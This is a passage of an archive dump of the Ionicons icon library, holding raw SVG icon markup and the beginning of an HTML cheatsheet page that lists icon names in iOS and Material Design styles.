11.586-1.041l-3.122-.015h103.823c4.503 0 8.806-.617 12.908-1.754 19.37-5.363 33.345-22.537 33.345-43.663v-87.224c0-24.832-21.15-43.484-46.289-47.606-15.931-2.624-39.258-3.827-55.089-3.749-15.829.086-30.981 1.404-44.277 3.749C167.143 74.576 160 88.928 160 115.359V144h96v16H128.82c-35.628 0-64.538 42.571-64.813 95.242-.002.253-.007.505-.007.758 0 9.523.94 18.72 2.685 27.404C74.648 323.07 99.451 352 128.82 352H144v-45.935c0-26.827 20.146-51.733 49.46-57.009zm10.196-122.054c-9.592 0-17.384-7.785-17.384-17.403 0-9.664 7.774-17.52 17.384-17.52 9.574 0 17.399 7.855 17.399 17.52.001 9.618-7.809 17.403-17.399 17.403z"/><path d="M443.951 222.543C434.78 186.021 411.033 160 383.18 160H368v40.672c0 33.915-22.286 58.474-49.489 62.681a53.943 53.943 0 0 1-8.301.646H206.351a51.41 51.41 0 0 0-13.049 1.672C174.18 270.689 160 286.6 160 307.236v87.227c0 24.832 24.977 39.426 49.481 46.551 29.327 8.531 61.267 10.068 96.366 0C329.15 434.354 352 420.893 352 394.463V368h-96v-16h127.18c25.24 0 47.107-21.365 57.814-52.549C445.474 286.404 448 271.641 448 256c0-11.768-1.433-23.038-4.049-33.457zM307.867 382.82c9.59 0 17.381 7.785 17.381 17.4 0 9.65-7.791 17.521-17.381 17.521-9.577 0-17.399-7.871-17.399-17.521 0-9.63 7.806-17.4 17.399-17.4z"/></svg>ionicons/svg/ios-power.svg000064400000001162151701353760011641 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M380.4 111.7c-3.3-2.8-7.5-4.3-11.8-4.3-5.3 0-10.4 2.3-13.8 6.4-3.2 3.7-4.7 8.4-4.3 13.3.4 4.8 2.7 9.3 6.4 12.4 34.8 29.5 54.8 72.3 54.8 117.4 0 85.4-69.8 154.8-155.6 154.8s-155.6-69.5-155.6-154.8c0-45.2 20-88 54.8-117.4 3.7-3.1 6-7.5 6.4-12.4.4-4.8-1.1-9.6-4.3-13.3-3.5-4-8.5-6.4-13.8-6.4-4.3 0-8.5 1.5-11.8 4.3C88.7 148.1 64 201 64 256.8 64 362.2 150.1 448 256 448s192-85.8 192-191.2c0-55.8-24.7-108.7-67.6-145.1z"/><path d="M256.9 274.5c10.2 0 18.5-8.3 18.5-18.5V82.5c0-10.2-8.3-18.5-18.5-18.5s-18.5 8.3-18.5 18.5V256c0 10.2 8.3 18.5 18.5 18.5z"/></svg>ionicons/svg/ios-warning.svg000064400000000520151701353760012147 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M228.9 79.9L51.8 403.1C40.6 423.3 55.5 448 78.9 448h354.3c23.3 0 38.2-24.7 27.1-44.9L283.1 79.9c-11.7-21.2-42.5-21.2-54.2 0zM273.6 214L270 336h-28l-3.6-122h35.2zM256 402.4c-10.7 0-19.1-8.1-19.1-18.4s8.4-18.4 19.1-18.4 19.1 8.1 19.1 18.4-8.4 18.4-19.1 18.4z"/></svg>ionicons/svg/ios-wine.svg000064400000001266151701353760011454 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M328.9 51.2c-2-5.5-7-9.2-12.9-9.2H196c-6 0-10.9 3.7-13 9.2-9.3 25-31 87.1-31 124.8v4.8c0 19.2 0 45.4 28.4 74.5 6.5 6.7 14.3 12.9 22.5 19.5 19.1 15.3 38.8 31.1 38.8 50.2v115c0 1.1-.9 2-2 2h-57.1c-7.9 0-14.3 6.3-14.3 14s6.4 14 14.3 14h146.8c7.9 0 14.3-6.3 14.3-14s-6.4-14-14.3-14h-57.1c-1.1 0-2-.9-2-2V325c0-19.1 19.7-34.9 38.8-50.2 8.2-6.6 15.9-12.8 22.5-19.5C360 226.2 360 200 360 180.8V176c0-37.5-21.7-99.8-31.1-124.8zm-1.4 102.1c-.2.3-.7.7-1.6.7H186.1c-.8 0-1.3-.5-1.6-.7-.2-.3-.6-.8-.4-1.7 5.1-26.1 14.8-59.6 21.6-80.2.3-.8 1.1-1.4 1.9-1.4h96.8c.9 0 1.7.6 1.9 1.4 6.7 20.7 16.4 54.1 21.6 80.2.2.8-.2 1.4-.4 1.7z"/></svg>ionicons/svg/ios-bowtie.svg000064400000001373151701353760012002 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M290.8 213.5C286 205 277 202.2 266 202.2v-.2c-6 0-14.3 1.3-22.6 2.9-11.9 2.3-19.7 7.1-19.7 7.1s3.6 27.3.1 58.5-7.9 42.5-7.9 42.5 5.3 12.1 40 15c3.9.3 7.6.5 11 .5 24.5 0 36.4-7.3 36.4-7.3s3.3-5.4 4.3-22.1c1.9-32.2-7-68.5-16.8-85.6zM205.7 208.8c-22-40.2-86.2-96.8-121.3-96.8C57.9 112 32 180.5 32 256s23 144 51.5 144c33.4 0 110.5-80 110.5-80s5.7-12.6 9.9-33.6l1.8-10.4c.7-4.7 1.3-9.7 1.7-15 .3-3.5.5-6.8.6-9.9l.3-9.8c.7-16-2.6-32.5-2.6-32.5zM427.6 112c-36.4 0-96.4 56.5-118.3 96.8l-.8 1.4s1.4 2.5 1.9 3.4c3.4 6 6.7 14.3 9.4 24l2.9 11.7c2.2 10.2 3.7 21.2 4.2 32.2l.2 9c0 2.9-.1 5.7-.3 8.5-1 16.7-4.6 22.1-4.6 22.1 7.6 10.5 69 78.9 106.2 78.9 28.5 0 51.5-68.5 51.5-144s-25.8-144-52.3-144z"/></svg>ionicons/svg/ios-trending-down.svg000064400000000746151701353760013273 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 369.2V251.1c0-8.1-6.8-14.8-15.1-14.8s-15.1 6.6-15.1 14.8v81.7L300.5 181c-2.8-2.8-6.6-4.3-10.7-4.3-4 0-7.8 1.5-10.7 4.3l-85.9 84.1L57.5 132.3c-2.9-2.8-6.6-4.3-10.7-4.3-4 0-7.8 1.5-10.7 4.3-2.8 2.7-4.2 6.2-4.2 10.2 0 5.4 2.3 8.8 4.2 10.7l146.3 143.2c2.9 2.8 6.6 4.3 10.7 4.3 4 0 7.8-1.5 10.7-4.3l85.9-84.1 138 142.2H344c-8.3 0-15.1 6.6-15.1 14.8 0 8.1 6.8 14.8 15.1 14.8h120.8c8.4-.1 15.2-6.7 15.2-14.9z"/></svg>ionicons/svg/ios-home.svg000064400000001241151701353760011433 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M258.5 104.1c-1.5-1.2-3.5-1.2-5 0l-156 124.8c-.9.8-1.5 1.9-1.5 3.1v230c0 1.1.9 2 2 2h108c1.1 0 2-.9 2-2V322c0-1.1.9-2 2-2h92c1.1 0 2 .9 2 2v140c0 1.1.9 2 2 2h108c1.1 0 2-.9 2-2V232c0-1.2-.6-2.4-1.5-3.1l-156-124.8z"/><path d="M458.7 204.2l-189-151.4C265.9 49.7 261 48 256 48s-9.9 1.7-13.7 4.8L160 119.7V77.5c0-1.1-.9-2-2-2H98c-1.1 0-2 .9-2 2v92.2l-42.7 35.1c-3.1 2.5-5.1 6.2-5.3 10.2-.2 4 1.3 7.9 4.1 10.7 2.6 2.6 6.1 4.1 9.9 4.1 3.2 0 6.3-1.1 8.8-3.1l183.9-148c.5-.4.9-.4 1.3-.4s.8.1 1.3.4l183.9 147.4c2.5 2 5.6 3.1 8.8 3.1 3.7 0 7.2-1.4 9.9-4.1 2.9-2.8 4.4-6.7 4.2-10.7-.3-4-2.2-7.7-5.4-10.2z"/></svg>ionicons/svg/ios-shuffle.svg000064400000001733151701353760012145 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M405.9 288.1c-2.6-2.6-6.2-4.1-9.9-4.1s-7.2 1.4-9.9 4.1c-2.7 2.6-4.1 6.2-4.1 9.9s1.5 7.2 4.1 9.9l16.3 16.2h-75.5l-124-155-.1-.1c-2.6-3.1-6.7-5-10.8-5H78c-7.7 0-14 6.3-14 14s6.3 14 14 14h107.4l52.5 66-52.5 66H78c-7.7 0-14 6.3-14 14s6.3 14 14 14h114c4.1 0 8-1.8 10.7-5l.1-.1 53.2-66.8 53.2 66.8.1.1c2.7 3.2 6.6 5 10.7 5h84.4l-16.3 16.2c-2.7 2.6-4.1 6.1-4.1 9.9 0 3.7 1.5 7.2 4.1 9.9 2.6 2.6 6.2 4.1 9.9 4.1s7.2-1.4 9.9-4.1l33.6-33.4c4.2-4.1 6.5-9.6 6.5-15.5s-2.3-11.4-6.5-15.5l-35.6-35.5z"/><path d="M279.4 235.4c1.1 1.4 2.8 2.1 4.6 2.1h.1c1.8 0 3.5-.8 4.6-2.2l37.9-47.3h75.8l-16.3 16.2c-2.7 2.6-4.1 6.1-4.1 9.9 0 3.7 1.5 7.2 4.1 9.9 2.6 2.6 6.2 4.1 9.9 4.1s7.2-1.4 9.9-4.1l35.6-35.4c4.2-4.1 6.5-9.7 6.5-15.5 0-5.9-2.3-11.4-6.5-15.5l-33.6-33.4c-2.6-2.6-6.2-4.1-9.9-4.1s-7.2 1.4-9.9 4.1c-2.7 2.6-4.1 6.2-4.1 9.9s1.5 7.2 4.1 9.9l16.3 16.2H320c-4.1 0-8 1.8-10.7 5l-.1.1-40.3 50.2c-1.8 2.2-1.8 5.4.1 7.6l10.4 12.3z"/></svg>ionicons/svg/ios-menu.svg000064400000000506151701353760011452 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M432 176H80c-8.8 0-16-7.2-16-16s7.2-16 16-16h352c8.8 0 16 7.2 16 16s-7.2 16-16 16zM432 272H80c-8.8 0-16-7.2-16-16s7.2-16 16-16h352c8.8 0 16 7.2 16 16s-7.2 16-16 16zM432 368H80c-8.8 0-16-7.2-16-16s7.2-16 16-16h352c8.8 0 16 7.2 16 16s-7.2 16-16 16z"/></svg>ionicons/svg/ios-star-half.svg000064400000001255151701353760012371 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M463 192H315.9L271.2 58.6C269 52.1 262.9 48 256 48s-13 4.1-15.2 10.6L196.1 192H48c-8.8 0-16 7.2-16 16 0 .9.1 1.9.3 2.7.2 3.5 1.8 7.4 6.7 11.3l120.9 85.2-46.4 134.9c-2.3 6.5 0 13.8 5.5 18 2.9 2.1 5.6 3.9 9 3.9 3.3 0 7.2-1.7 10-3.6l118-84.1 118 84.1c2.8 2 6.7 3.6 10 3.6 3.4 0 6.1-1.7 8.9-3.9 5.6-4.2 7.8-11.4 5.5-18L352 307.2l119.9-86 2.9-2.5c2.6-2.8 5.2-6.6 5.2-10.7 0-8.8-8.2-16-17-16zm-47.4 35.2l-79.8 57.3c-10 7.2-14.2 20.2-10.2 31.8l30.1 87.7c1.3 3.7-2.9 6.8-6.1 4.6l-77.4-55.2-.1-.1c-10-7-16.1-18.3-16.1-30.5V113.3c0-2.2 3.1-2.7 3.8-.6l29.6 88.2c3.8 11.4 14.5 19.1 26.5 19.1h97.3c3.9 0 5.5 5 2.4 7.2z"/></svg>ionicons/svg/md-school.svg000064400000000311151701353760011575 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M113.5 281.2v85.3L256 448l142.5-81.5v-85.3L256 362.7l-142.5-81.5zM256 64L32 192l224 128 183.3-104.7v147.4H480V192L256 64z"/></svg>ionicons/svg/ios-boat.svg000064400000002145151701353760011434 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M351.8 422c-26.2 9.2-66.5 14.9-96.1 14.9-29.6 0-69.9-5.7-96.1-14.9 0 0-26.1 23.9-62.3 36.2-2.3.8-1.5 4.2.9 3.9 22.6-2.6 40.2-6.5 61.4-12 23 9 66.7 13.9 96.1 13.9 29.4 0 74.1-3.8 96.1-13.9 21.5 5.6 38.8 9.6 62 12.1 2.4.3 3.2-3.1.9-3.9-35.7-12.4-62.9-36.3-62.9-36.3zM445.5 263l-186.2-85.5c-2.1-1-4.6-1-6.7 0L66.5 263c-6.2 2.9-10.5 9.1-10.5 16.4 0 2.4.5 4.6 1.3 6.7L112 422c27.5 0 56.7-22 56.7-22 18 9 53.1 17.1 79.3 18.6 2.8.2 5.5.2 8 .2s5.2-.1 8-.2c26.2-1.5 61.3-9.5 79.3-18.6 0 0 29.2 22 56.7 22l54.7-135.9c.8-2.1 1.3-4.3 1.3-6.7 0-7.3-4.3-13.5-10.5-16.4zM212 288c-6.6 0-12-9.8-12-22s5.4-22 12-22 12 9.8 12 22-5.4 22-12 22zm88 0c-6.6 0-12-9.8-12-22s5.4-22 12-22 12 9.8 12 22-5.4 22-12 22z"/><path d="M391.9 127v-.1C386.3 100.3 374.4 80 352 80h-34.6l-2-8c-3.6-14.1-16.4-24-31-24h-57c-14.6 0-27.4 9.9-31 24.1l-2 7.9H160c-22.9 0-35.1 20.7-39.8 47L102 223.8c-.6 3.2 2.6 5.7 5.6 4.4l25.3-11.6c1.2-.5 2-1.6 2.3-2.9l16.2-85.6c2.5-10.7 7.3-16 16.1-16h177.1c8.9 0 13.1 5 16.1 16l16.2 85.6c.2 1.3 1.1 2.4 2.3 2.9l25.4 11.7c3 1.4 6.2-1.2 5.6-4.4L391.9 127z"/></svg>ionicons/svg/ios-battery-full.svg000064400000000675151701353760013127 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M396 144H64c-26.4 0-48 21.6-48 48v128c0 26.4 21.6 48 48 48h332c26.4 0 48-21.6 48-48V192c0-26.4-21.6-48-48-48zm20 176c0 11-9 20-20 20H64c-11 0-20-9-20-20V192c0-11 9-20 20-20h332c11 0 20 9 20 20v128zM464 204.6v102.8c16 0 32-27.7 32-51.4s-16-51.4-32-51.4z"/><path d="M384 192H76c-6.6 0-12 5.4-12 12v104c0 6.6 5.4 12 12 12h308c6.6 0 12-5.4 12-12V204c0-6.6-5.4-12-12-12z"/></svg>ionicons/svg/md-microphone.svg000064400000000474151701353760012463 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M384 112V84.4c0-29-24.5-52.4-54.8-52.4H182.9C152.5 32 128 55.4 128 84.4V112h152v37H128v43h152v37H128v43h152v37H128v41.8c0 29 24.5 52.2 54.9 52.2H213v77h86v-77h30.2c30.3 0 54.8-23.2 54.8-52.2V309h-56v-37h56v-43h-56v-37h56v-43h-56v-37h56z"/></svg>ionicons/svg/logo-html5.svg000064400000000520151701353760011701 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 32l34.936 403.213L255.769 480l157.245-44.854L448 32H64zm307.997 132h-184l3.991 51h176.008l-13.505 151.386-98.5 28.094-98.682-27.976L150.545 289h48.254l3.423 39.287 53.769 14.781 53.422-14.915L314.987 264H147.986l-12.571-149.589 240.789.016L371.997 164z"/></svg>ionicons/svg/md-add.svg000064400000000251151701353760011041 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 277.333H277.333V416h-42.666V277.333H96v-42.666h138.667V96h42.666v138.667H416v42.666z"/></svg>ionicons/svg/md-heart.svg000064400000000504151701353760011415 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 448l-30.164-27.211C118.718 322.442 48 258.61 48 179.095 48 114.221 97.918 64 162.4 64c36.399 0 70.717 16.742 93.6 43.947C278.882 80.742 313.199 64 349.6 64 414.082 64 464 114.221 464 179.095c0 79.516-70.719 143.348-177.836 241.694L256 448z"/></svg>ionicons/svg/md-checkbox-outline.svg000064400000000550151701353760013556 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M168.531 215.469l-29.864 29.864 96 96L448 128l-29.864-29.864-183.469 182.395-66.136-65.062zm236.802 189.864H106.667V106.667H320V64H106.667C83.198 64 64 83.198 64 106.667v298.666C64 428.802 83.198 448 106.667 448h298.666C428.802 448 448 428.802 448 405.333V234.667h-42.667v170.666z"/></svg>ionicons/svg/md-hammer.svg000064400000000766151701353760011575 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M474.1 398.2L229.8 167.8s8.8-57.7 26.2-71.8c17.5-14.2 48-32 48-32V32c-32 0-58.8 8.3-96.9 27.3-38 18.9-66.8 47.8-74.4 55.4-7.6 7.6-18.1 19.5-24.7 28.9s-5.3 20.1-5.3 20.1l-19.7 17-4-4c-2.3-2.3-6.2-2.3-8.5 0l-36.8 36.8c-2.3 2.3-2.3 6.2 0 8.5l59.4 59.4c2.3 2.3 6.2 2.3 8.5 0l36.8-36.8c2.3-2.3 2.3-6.2 0-8.5l-10.3-10.3 14.6-14.3c6.8-3.7 25.4-8.9 39.1-5.1l214.9 267.3c8.1 8.2 20.3 8.2 28.5 0l46.8-47.1c10.3-8 10.3-22.3 2.1-28.4z"/></svg>ionicons/svg/md-beer.svg000064400000003172151701353760011233 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 140h-16v-6c8.9-9 16-22.9 16-38 0-35.3-28.7-64-64-64-16.3 0-31.1 6.1-42.4 16.1C297.2 38 281.4 32 264.2 32c-15.8 0-30.4 5.1-42.3 13.7C212 37.2 199 32 184.9 32c-17.1 0-32.4 7.6-42.8 19.5-11.7-12-28-19.5-46.1-19.5-35.3 0-64 28.7-64 64 0 16.2 6.1 31 16 42.3V193c0 26.5 21.5 48 48 48v174.5c0 35.3 28.8 64.5 64.2 64.5H336c35.3 0 64.1-29.2 64.1-64.5V372h16c50 0 64-32.7 64-68v-96c-.1-35.3-17.1-68-64.1-68zm-64 52H144v-53.7c.3-.4.7-.8 1-1.2 1.2-1.5 2.4-3 3.5-4.6 1.5 1.2 3 2.4 4.6 3.4 9.1 6.1 20 9.7 31.7 9.7 6.4 0 12.6-1.1 18.3-3 12.8 20.2 35.3 33.7 61 33.7 22 0 41.7-9.9 54.9-25.4 5.7-6.7 10.2-14.4 13.1-22.9H352v64zM96 128.1v75c-9 0-16-7.2-16-16v-63.3c-8-4.5-13.4-12.1-15.3-21-.5-2.1-.7-4.4-.7-6.7 0-17.6 14.4-32 32-32 11.8 0 23.3 7.7 30.1 15.4s26.7 7.7 33.9 0c6.8-7.3 14.3-15.4 24.8-15.4 6 0 11.6 2.2 15.9 5.8 1.9 1.6 3.6 3.5 4.9 5.6 1.1 1.8 2 4.2 3.1 5.8 2.7 3.4 6.5 5.5 11.2 5.5 4.4 0 8.3-1.9 11-5 .6-.7 1.2-1.5 1.7-2.3 2-2.5 4.2-4.8 6.7-6.8 6.8-5.4 15.5-8.6 24.8-8.6 10.6 0 20.2 4.1 27.4 10.9 1.7 1.6 6.7 4.5 13.2 5.1 4.5.4 6.1.3 8.2 0 10.3-1.3 14.4-4.7 16.4-6.6 5.8-5.8 13.8-9.4 22.6-9.4 17.6 0 32 14.4 32 32 .2 3.1-.3 6.2-1.2 9.1-2.5-5.5-8.1-9.2-14.6-9.2h-55s-8.7-.7-8.7 8.2c0 8.9-2.9 17.1-7.8 23.7-7.3 9.9-19.1 16.4-32.4 16.4-14.9 0-27.9-8.1-34.8-20.2-1.6-2.7-2.8-5.6-3.7-8.6-.1-.6-.3-1.1-.4-1.6-2-5.9-7.5-10.2-14.1-10.2-3.9 0-7.5 1.5-10.2 4l-.1.1c-2.4 2.1-5.3 3.7-8.4 4.7-2.4.8-5 1.2-7.7 1.2-7.5 0-14.7-4-18.8-8.6-10-11.4-23.7-6.8-29.7-5.5-6 1.3-12.2 11.7-12.2 11.7-1.1 2.1-2.4 4-3.9 5.8-6 6.7-15.2 11-24.2 11zM432 304c0 17.7-6.3 24-24 24h-8V184h8c17.7 0 24 6.3 24 24v96z"/></svg>ionicons/svg/md-git-pull-request.svg000064400000001333151701353760013536 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 376.6V206.8c0-46.4-3.7-70.8-22.1-94C374 87.7 348.9 77 310 77h-22V16l-96 96 96 96v-65h22c24.6 0 29 3.6 33.8 9.6 5.5 6.9 8.2 19.1 8.2 54.2v169.8c-19.1 11.1-32 31.7-32 55.4 0 35.3 28.7 64 64 64s64-28.7 64-64c0-23.7-12.9-44.3-32-55.4zM384 472c-22.1 0-40-17.9-40-40s17.9-40 40-40 40 17.9 40 40-17.9 40-40 40zM128 48c-35.3 0-64 28.7-64 64 0 23.7 12.9 44.3 32 55.4v209.2c-19.1 11.1-32 31.7-32 55.4 0 35.3 28.7 64 64 64s64-28.7 64-64c0-23.7-12.9-44.3-32-55.4V167.4c19.1-11.1 32-31.7 32-55.4 0-35.3-28.7-64-64-64zm0 424c-22.1 0-40-17.9-40-40s17.9-40 40-40 40 17.9 40 40-17.9 40-40 40zm0-320c-22.1 0-40-17.9-40-40s17.9-40 40-40 40 17.9 40 40-17.9 40-40 40z"/></svg>ionicons/svg/ios-shirt.svg000064400000001063151701353760011636 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M461.8 181.7c1.3-1.6 1.2-3.8-.2-5.3-11.5-12.1-61.3-63.7-89.1-83.7C352 78 332 64 310 64s-22 8-54 8-32-8-54-8-42 14-62.5 28.7c-27.8 20-77.6 71.6-89.1 83.7-1.4 1.5-1.5 3.7-.2 5.3l61.7 64c2.4 2.9 7.1 1.2 7.1-2.5v-44.9c0-4.5 3.2-8.5 7.6-9.2 5.6-.9 10.4 3.5 10.4 8.9v242c0 4.4 3.6 8 8 8h222c4.4 0 8-3.6 8-8V198.3c0-4.5 3.2-8.5 7.6-9.2 5.6-.9 10.4 3.5 10.4 8.9v45.2c0 3.8 4.7 5.4 7.1 2.5l61.7-64zM256 143c-30 0-54-12.7-54-36 0-30 24-10.7 54-10.7 29.8 0 54-19.3 54 10.7 0 23.3-24.2 36-54 36z"/></svg>ionicons/svg/md-snow.svg000064400000001222151701353760011276 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M461.4 298.5l-8.3-30.9-88 23.6-60.4-34.9 60.4-34.9 88 23.6 8.3-30.9-57.1-15.3 57.7-33.3-24-41.5-56.6 32.7 15.3-57.1-30.9-8.3-23.6 88-62.2 35.9v-71.1l64.5-64.4-22.7-22.6L280 98.9V32h-48v65.6l-41.7-41.7-22.6 22.6 64.3 64.4v71.4l-60.7-35-23.6-88-30.9 8.3 15.3 57.1-57.7-33.4-24 41.6 56.7 32.7L50 212.9l8.3 30.9 87.9-23.6 62.6 36.1-62.6 36.2-87.9-23.6-8.3 30.9 57.1 15.3-56.7 32.7 24 41.5 57.7-33.3-15.3 57 30.9 8.3 23.6-87.9 60.7-35.1v70.9l-64.3 64.4 22.6 22.6 41.7-41.8V480h48v-66.8l41.9 41.7 22.5-22.6L280 368v-70.6l62.2 36 23.6 87.9 30.9-8.3-15.3-57 56.6 32.7 24-41.6-57.7-33.3z"/></svg>ionicons/svg/logo-npm.svg000064400000000713151701353760011446 0ustar00<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" x="0" y="0" viewBox="0 0 512 512" xml:space="preserve"><style>.st0{fill:#010101}</style><path class="st0" d="M227.6 213.1H256v57.1h-28.4z"/><path class="st0" d="M0 156v171.4h142.2V356H256v-28.6h256V156H0zm142.2 142.9h-28.4v-85.7H85.3v85.7H28.4V184.6h113.8v114.3zm142.2 0h-56.9v28.6h-56.9V184.6h113.8v114.3zm199.2 0h-28.4v-85.7h-28.4v85.7h-28.4v-85.7H370v85.7h-56.9V184.6h170.7v114.3z"/></svg>ionicons/svg/ios-checkbox-outline.svg000064400000001032151701353760013744 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 64H96c-17.7 0-32 14.3-32 32v320c0 17.7 14.3 32 32 32h320c17.7 0 32-14.3 32-32V96c0-17.7-14.3-32-32-32zm4 348c0 4.4-3.6 8-8 8H100c-4.4 0-8-3.6-8-8V100c0-4.4 3.6-8 8-8h312c4.4 0 8 3.6 8 8v312z"/><path d="M363.6 192.9L346 174.8c-.7-.8-1.8-1.2-2.8-1.2-1.1 0-2.1.4-2.8 1.2l-122 122.9-44.4-44.4c-.8-.8-1.8-1.2-2.8-1.2-1 0-2 .4-2.8 1.2l-17.8 17.8c-1.6 1.6-1.6 4.1 0 5.7l56 56c3.6 3.6 8 5.7 11.7 5.7 5.3 0 9.9-3.9 11.6-5.5h.1l133.7-134.4c1.4-1.7 1.4-4.2-.1-5.7z"/></svg>cheatsheet.html000064400000235120151701353760007562 0ustar00<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>Ionicons Cheatsheet</title>
  <style>
    * {
      -moz-box-sizing: border-box;
      -webkit-box-sizing: border-box;
      box-sizing: border-box;
      margin: 0;
      padding: 0;
    }

    /* Eina Bold */
    @font-face {
      font-family: 'Eina';
      src: url('../assets/fonts/34E6DB_F_0.eot');
      src: url('../assets/fonts/34E6DB_F_0.eot?#iefix') format('embedded-opentype'),
        url('../assets/fonts/34E6DB_F_0.woff2') format('woff2'),
        url('../assets/fonts/34E6DB_F_0.woff') format('woff'),
        url('../assets/fonts/34E6DB_F_0.ttf') format('truetype');
      font-weight: 700;
      unicode-range: U+000-5FF;
    }

    /* Eina Regular */
    @font-face {
      font-family: 'Eina';
      src: url('../assets/fonts/34E6DB_D_0.eot');
      src: url('../assets/fonts/34E6DB_D_0.eot?#iefix') format('embedded-opentype'),
        url('../assets/fonts/34E6DB_D_0.woff2') format('woff2'),
        url('../assets/fonts/34E6DB_D_0.woff') format('woff'),
        url('../assets/fonts/34E6DB_D_0.ttf') format('truetype');
      font-weight: 400;
      unicode-range: U+000-5FF;
    }

    body {
      background: #fff;
      color: #444;
      font: 16px/1.5 'Eina', "Helvetica Neue", Helvetica, Arial, sans-serif;
      font-weight: 400;
    }

    a, a:visited {
      color: #888;
      text-decoration: underline;
    }
    a:hover, a:focus { color: #000; }

    header {
      overflow: hidden;
      padding: 20px 0;
    }

    h1 {
      float: left;
      font-size: 24px;
      font-weight: 700;
    }

    main {
      margin: 0 auto;
      padding: 0 20px;
      width: 100%;
    }

    table {
      width: 100%;
      border-spacing: 0;
    }

    tr {
      padding: 0 0 10px;
      margin-bottom: 10px;
    }

    th,
    td {
      padding: 4px;
      width: 33%;
      border: 0;
      border-bottom: 1px solid #ddd;
      white-space: nowrap;
      text-align: left;
    }

    th {
      color: #888;
    }


    ion-icon {
      display: block;
      margin: 5px 0;
      font-size: 32px;
    }

    footer {
      color: #888;
      font-size: 12px;
      padding: 20px 0;
    }

    .heart {
      display: inline-block;
      padding-top: 4px;
      width: 18px;
      height: 18px;
      color: red;
      vertical-align: sub;
    }

  </style>
  <script src="ionicons.js"></script>
</head>

<body>
  <main>
    <header>
      <h1>Ionicons Cheatsheet, 318 icons</h1>
    </header>
    <table>
      <tr>
        <th>
          Icon Name
        </th>
        <th>
          iOS
        </th>
        <th>
          Material Design
        </th>
      </tr>
      <tr class="mode-row">
  <td>
    add
  </td>
  <td class="align-center">
    <ion-icon name="ios-add" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-add" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    add-circle
  </td>
  <td class="align-center">
    <ion-icon name="ios-add-circle" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-add-circle" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    add-circle-outline
  </td>
  <td class="align-center">
    <ion-icon name="ios-add-circle-outline" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-add-circle-outline" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    airplane
  </td>
  <td class="align-center">
    <ion-icon name="ios-airplane" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-airplane" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    alarm
  </td>
  <td class="align-center">
    <ion-icon name="ios-alarm" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-alarm" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    albums
  </td>
  <td class="align-center">
    <ion-icon name="ios-albums" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-albums" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    alert
  </td>
  <td class="align-center">
    <ion-icon name="ios-alert" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-alert" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    american-football
  </td>
  <td class="align-center">
    <ion-icon name="ios-american-football" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-american-football" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    analytics
  </td>
  <td class="align-center">
    <ion-icon name="ios-analytics" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-analytics" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    aperture
  </td>
  <td class="align-center">
    <ion-icon name="ios-aperture" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-aperture" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    apps
  </td>
  <td class="align-center">
    <ion-icon name="ios-apps" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-apps" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    appstore
  </td>
  <td class="align-center">
    <ion-icon name="ios-appstore" lazy></ion-icon>
  </div>
  <td class="align-center">
